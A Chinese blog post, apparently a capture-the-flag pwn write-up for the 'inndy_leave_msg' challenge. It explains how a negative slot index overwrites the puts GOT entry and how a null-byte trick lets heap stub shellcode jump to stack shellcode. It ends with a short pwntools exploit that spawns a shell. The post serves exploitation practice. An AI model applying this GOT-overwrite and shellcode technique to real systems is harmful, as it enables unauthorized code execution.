0
点赞
收藏
分享

微信扫一扫

花式shellcode&&inndy_leave_msg

其生 2022-04-05 阅读 56
linux

文章目录

最近做了几个题目,都是要利用写shellcode
shellcode一定要利用好当前的寄存器环境

inndy_leave_msg

inndy_leave_msg

题目分析

保护

在这里插入图片描述
这里的栈和堆都是可以执行的,由于我的内核版本较高,所以看上去堆不可执行
对于高版本内核,execstack只是允许栈可执行,要想让所有data都可以执行,需要利用execall

漏洞

在这里插入图片描述
buf可以用来写shellcode,但无法溢出覆盖返回地址
由于这里有两个回合
dwrod_804a060离got比较近,所以考虑覆盖puts got表地址
strdup会把内容copy到堆里面然后ret堆地址,但这里遇到\x0就不会copy了

攻击

利用思路

大部分shellcode在栈上,需要从堆里面跳到栈上
在这里插入图片描述
\x00前面的shellcode会被copy到堆里面
add esp,0x35刚好把就是下一回合puts的时候的esp挪到\x00\xc3的位置,然后就可以顺利执行
\x00\xc3使add dl,al

exp

sa(b"message:\n", asm("add esp,0x35;jmp esp") + b"\x00\xc3" + asm(shellcraft.sh()))
sa(b"message slot?\n", b" -16")
it()
举报

相关推荐

0 条评论